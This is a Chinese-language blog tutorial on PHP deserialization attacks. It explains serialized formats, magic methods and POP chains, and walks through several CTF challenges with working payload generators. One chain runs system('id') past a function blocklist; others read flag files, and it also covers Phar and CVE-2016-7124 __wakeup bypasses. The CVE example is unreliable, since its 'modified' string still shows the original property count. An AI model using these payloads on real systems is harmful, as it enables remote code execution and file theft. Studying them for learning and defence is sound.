PHP 反序列化

PHP 反序列化

漏洞概述

PHP 反序列化常出现在 CTF 中,实际环境出现较少。

反序列化漏洞的原理都是一样的:目标程序对攻击者可控的数据进行反序列化操作

PHP 的反序列化漏洞利用方面主要在反序列化期间一些魔术方法的自动调用上。

反序列化

1
2
3
4
// 序列化函数( 用于构造 Payload )
serialize()
// 反序列化函数( 漏洞出现的原因 )
unserialize()

序列化后的字符串如下:

3146041-20230331173519839-93221379

1
2
3
4
5
6
7
8
9
10
11
12
a - array				// 数组                	
b - boolean // 布尔
d - double // 双精度
i - integer // 整型
o - common object // 对象( PHP4 后被 "O" 取代 )
r - reference // 引用
s - string // 字符串
C - custom object // 自定义对象 ( PHP5 引入 )
O - class // 类
N - null // 空值
R - pointer reference // 指针引用
U - unicode string // unicode 字符串

修饰符号

1
2
3
public		// 共有的, 在类内部和外部都可见
private // 私有的, 仅在类内部可见
protected // 受保护的, 在类内部和子类中可见

反序列化是为了对象的传递,PHP 将对象序列化为了字符串进行传递,在这个字符串中有关变量的有 变量类型、变量值长度、变量值内容,但是 修饰符 怎么传递呢?

修饰符 的传递下面特殊的形式进行表示了。表示方法如下:

1
2
private       // \x00类名\x00属性名
protected // \x00*\x00属性名

这里的 \x00 表示的是空字节。

image-20230526200727702

魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
__construct() 	// 构造函数, 当对象 new 的时候会自动调用
__destruct() // 析构函数, 当对象被销毁时会被自动调用( 程序结束自动调用 )
__wakeup() // unserialize() 时会被自动调用
__invoke() // 当尝试以调用函数的方法调用一个对象时, 会被自动调用
__call() // 在对象上下文中调用不可访问的方法时触发
__callStatci() // 在静态上下文中调用不可访问的方法时触发
__get() // 用于从不可访问的属性读取数据
__set() // 用于将数据写入不可访问的属性
__isset() // 在不可访问的属性上调用 isset()或 empty()触发
__unset() // 在不可访问的属性上使用 unset()时触发
__toString() // 把类当作字符串使用时触发
__sleep() // serialize()函数会检查类中是否存在一个魔术方法 __sleep() 如果存在,该方法会被优先调用

POP链构造

POP 链就是利用魔术方法进行反序列化漏洞利用的一种 Payload,之前还以为是 PHP 反序列化类似原生类的另一种姿势,后来才知道魔术方法的利用就是 POP 链。

这里用 3 道 CTF 的题目来学习 POP 链的构造。

CTF:https://www.ctfhub.com/

题目:

  1. 2020-网鼎杯-青龙组-Web-AreUSerialz ( 难度 4.9 )
  2. 2020-网鼎杯-朱雀组-Web-phpweb ( 难度 5.2 )
  3. 2021-第五空间智能安全大赛-Web-pklovecloud ( 难度 5.4 )

Web-AreUSerialz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

先看参数的传递:

1
2
3
4
5
6
7
8
9
// GET 'str' 传参
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
// 使用 is_valid() 判断, 为 true 则进行反序列化操作
if(is_valid($str)) {
$obj = unserialize($str);
}

}

看一下 is_valid() 函数:

1
2
3
4
5
6
7
8
9
// 判断字符串是否为可打印字符(正常的字符)
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
// ord() 将字符产转换为 ASCII 值
// 32 ~ 125 代表着 "可打印字符" 也就是常见的字母、数字、符号
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

这里需要注意的是 “私有/受保护” 的属性被序列化后都会有”空字节”这个不可见字符,发现上面的类中的属性都是 protected ,那就得绕过一下了。

绕过方法就简单了,直接修改 protectedpublic 就行 ( php7.1以上的版本对属性类型不敏感 ) 。

知道如何传递参数后,接下来就是寻找类中存在的”危险函数”,然后构造 POP 链去利用它。

其中危险函数有:

1
2
read() --> file_get_contents($this->filename)					// 读取文件( 读取 flag.php )
write() --> file_put_contents($this->filename, $this->content) // 写入文件( 写入 webshell )

接下来就是在类中寻找调用了它们的地方,直接搜索一下:

发现在 process() 中调用了它们两个,条件是 $op 参数,还是弱类型比较,比较好绕过。

1
2
3
4
5
6
7
8
9
10
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

再来看一下哪里调用了 process()

两个地方,一个构造函数,一个析构函数。

构造函数是用来写入文件的,但是我们在利用反序列化漏洞的时候,直接传入一个序列化后的字符串,然后程序使用 unserialize() 函数对其进行反序列化操作,服务端反序列化的整个过程中其实并没有去利用 __construct() 函数,所以自然无法利用它去写 shell。

那么目标就是析构函数了,看下析构函数:

1
2
3
4
5
6
7
8
9
10
function __destruct() {
// if 简写的, 没加{}, 这里给加上
// 强类型比较 $op 是字符串2 时, 将 $op 设置为 字符串1, 不是字符串2时, 执行下面的代码
if($this->op === "2"){
$this->op = "1";
}
$this->content = "";
// 执行 process()
$this->process();
}

这里是有一个强类型比较为字符2,等于的话就赋值为1,上面的要弱类型等于字符2就执行 read()

这样一叠加,直接让 $op 等于数字 2,就完美的解决了问题。

链条已经构造好了,之前是反着推的,现在正着写一下:

1
__destruct() --> process() --> read()

下面就直接构造 Payload:

1
2
3
4
5
6
7
8
<?php
class FileHandler {
public $op = 2;
public $filename = "flag.php";
}
$a = new FileHandler();
echo urldecode(serialize($a));
?>
1
?str=O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}

Web-phpweb

前端发现,有隐藏的标签。又发现隔一会就会刷新页面,发生请求。抓包看下请求:

image-20230526202945051

1
func=date&p=Y-m-d+h%3Ai%3As+a

fucn 可能是函数,p 应该是函数参数。

测试一下命令执行:

image-20230526203058343

应该是有过滤的,而且这题是反序列化,应该是需要进行白盒审计。那就读取文件:

1
func=file_get_contents&p=index.php

获取到源码开始审计,找传参和危险函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch",
"escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",
"array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce",
"array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"
);
// 3. 存在代码执行
function gettime($func, $p) {
// $func 作为回调函数使用, 其他参数作为函数参数
// 代码执行
$result = call_user_func($func, $p);
// 获取结果类型, string 就返回结果
$a= gettype($result);
if ($a == "string") {
return $result;
} else {
return "";
}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
// 1. 参数传递
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) { // 2. 黑名单判断
echo gettime($func, $p); // 3. 存在代码执行漏洞
}else {
die("Hacker...");
}
}
?>

直接存在代码执行,但是能执行命令的都在黑名单里面。

而调用 gettime() 的位置有 2 处,第一处后黑名单过滤,第二处在 Test 类的 __destruct 函数中。unserialize 也没有被过滤,可以利用 unserialize 绕过黑名单,然后利用 __destruct 进行代码执行。

构造 Payload:

1
2
3
4
5
6
7
8
<?php
class Test {
var $p = "id";
var $func = "system";
}
$a = new Test();
echo urldecode(@serialize($a));
?>

image-20230526204543155

接下来读取 flag 即可:

image-20230526204911440

image-20230526204947657

Web-pklovecloud

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php  
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}

class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}

class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}

if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>

首先还是看参数传递:

1
2
3
4
5
6
7
if (isset($_GET['pks']))  
{
// 反序列化一个对象
$logData = unserialize($_GET['pks']);
// 输出了这个对象, 会导致 __toString() 的执行
echo $logData;
}

这里的 echo 导致了 __toString() 的执行,应该就是通过构造 acp 类的实例反序列化获取 flag。

不过还是先找危险函数:

1
file_get_contents() --> echo_name() --> class ace

ace 类中有一个 echo_name() 函数可以做到文件读取。

函数不简单,看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function echo_name()      
{ // 反序列化 $docker 给 $this->openstack
$this->openstack = unserialize($this->docker);
// $heat 给 $this->openstack 的 neutron
// 没找到 $heat
// neutron 是 class acp 的属性
$this->openstack->neutron = $heat;
// class acp 的 neutron 和 nova 强类型比较
if($this->openstack->neutron === $this->openstack->nova)
{
// 条件满足就读取当前文件夹下的某个文件
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}

文件读取的前置条件:

  1. 反序列化后的 $this->dockeracp 的实例
  2. 这个实例的 neutronnova 得相等

这里的 $heat 变量是未知的,不知道到底是不是一个全局变量,不知道到底有没有在其他PHP文件中定义这个变量。

这里只能把 $heat 变量当作未被定义的值,才能去进行绕过:

  • $heat 没有被定义,所以它是一个空值 null
  • 所以当 $this->openstack->nova 也是一个空值时,就可以绕过这个强类型匹配

这样就简单了,比如:

1
2
3
4
5
6
7
8
class ace
{
public $filename = "flag.php";
public $openstack;
public $docker;
}
// 不用给 $docker 赋值, 它本身就是一个 null 的值, 然后被反序列化为一个空的 acp 对象, 其中的 $nova 自然也是 null
$t=new ace();

找找哪里调用了了 echo_name() 函数,acp__toString()

开头输出了对象,会导致 __toString() 的执行,所以只要构造的是 acp 实例的反序列化,就会执行 __toString()

1
2
3
4
5
6
function __toString()      
{
if (isset($this->cinder))
// 调用 $cinder 的 echo_name(), 这里的 $cinder 肯定就是 ace 类的实例了
return $this->cinder->echo_name();
}

那么构造 Payload 即可:

1
echo -> acp.__toString() -> ace.echo_name() -> file_get_contents()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class acp
{
public $cinder;
public $neutron;
public $nova;
}
class ace
{
public $filename = "flag.php";
public $openstack;
public $docker;
}
$b=new acp();
$c=new ace();
$b->cinder= $c;
echo urlencode(serialize($b));

?>

image-20230526224747764

原生类

当类没有提供魔术方法,或者魔术方法种没有危险的代码,还可以调用 PHP 原生类进行攻击。

PHP原生类就是在标准PHP库中已经封装好的类,在触发一些魔术方法的时候就会触发这些类,这些类种有一些可以进行目录/文件读取、XSS、SSRF 的功能,那么就可以利用它们造成危害。

可以使用以下脚本获取各个魔术方法可以触发的原生类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}

利用方式:

Phar

Phar 是 PHP 中的一种打包格式,类似于JAR(Java归档)文件。它允许开发者将多个 PHP 脚本和资源打包到一个文件中,以便于分发和执行。

Phar 文件结构:

  • stub:Phar 文件标识,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以 __HALT_COMPILER();?> 来结尾,否则phar扩展将无法识别这个文件为phar文件。
  • manifest:压缩文件的属性等信息,以序列化的形式自定义的 meta-data
  • contents:压缩文件的内容
  • signature:签名,在文件末尾

在 PHP 解析 Phar 格式的文件时,内核会调用 phar_parse_metadata() 函数解析 meta-data 数据时,进而调用 php_var_unserialize() 函数对其进行反序列化操作,因此会造成反序列化漏洞。

利用方式:

CVE-2016-7124

漏洞概述:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过 __wakeup 的执行

1
2
3
4
// 对象属性个数( 对象包含的变量数量 )为 3, 实际个数也为 3
O:4:"test":3:{s:1:"a";s:5:"apple";s:7:"testb";s:6:"banana";s:4:"*c";s:7:"coconut";}
// 修改属性个数为 4 即可绕过 __wakeup 执行
O:4:"test":3:{s:1:"a";s:5:"apple";s:7:"testb";s:6:"banana";s:4:"*c";s:7:"coconut";}

CTF:https://adworld.xctf.org.cn/

题目:Web_php_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
// 2. 显示文件源码
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
// 1. flag 在 fl4g.php
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
// 3. GET 参数 var 需要使用 base64 编码
$var = base64_decode($_GET['var']);
// 4. 检测是否存在 [oc]:\d (不区分大小写)
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?

拿 flag 可以通过 __destruct 方法,它可以输出 $file 文件的内容。但是有两个问题:

  1. __wakeup 方法中强制将 $file 设置为 index.php
  2. preg_match 匹配序列化字符串中的 [oc]:\d

绕过办法:

  1. CVE-2016-7124 绕过 __wakeup
  2. O:4 –> O:+4 ( 正四和四相同,又能绕过匹配)

Payload:

1
2
3
4
5
6
7
8
9
10
11
<?php 
class Demo {
private $file = 'fl4g.php';
}
$a = new Demo();
$b = serialize($a);
$c = str_replace('O:4', 'O:+4', $b);
$c = str_replace(':1:', ':2:', $c);
$c = base64_encode($c);
echo $c;
?>

PHP 反序列化
https://liancccc.github.io/2024/03/15/技术/TOP10/PHP 反序列化/
作者
守心
发布于
2024年3月15日
许可协议